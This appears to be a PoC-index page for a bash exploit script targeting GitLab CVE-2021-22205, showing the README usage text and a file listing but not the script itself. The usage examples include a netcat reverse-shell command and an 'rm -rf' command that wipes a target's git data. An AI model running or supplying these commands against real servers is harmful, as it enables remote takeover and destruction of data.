CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source

Associated Vulnerability

Description

A simple bash script that exploits CVE-2021-22205 against vulnerable instances of gitlab

Readme

# gitlab-cve-2021-22205
A simple bash script that exploits CVE-2021-22205 against vulnerable instances of gitlab

# Usage
```
Usage: cve-2021-22205.sh [options]
Options:
	-h,--help		Show this help
	-t,--target		Set the target server (i.e. "http://gitlab.example.com")
	-i,--reverse-ip		Set the IP to connect back to
	-p,--reverse-port	Set the port to connect back to
	-c,--command		Set the raw command to run instead of the built-in reverse shell (i.e. "nc -e /bin/bash 127.0.0.1 1337")
Examples:
	Use the built-in reverse shell payload:
		cve-2021-22205.sh -t http://gitlab.example.com -i 127.0.0.1 -p 1337
	Run a custom command:
		cve-2021-22205.sh -t http://gitlab.example.com -c "rm -rf /var/opt/gitlab/git-data/*"
```

File Snapshot

 [4.0K]  /data/pocs/efecdc8e48dd15d1b9481d4f361a6793486f2abe
├── [3.5K]  cve-2021-22205.sh
├── [1.0K]  LICENSE
└── [ 723]  README.md

0 directories, 3 files

Remarks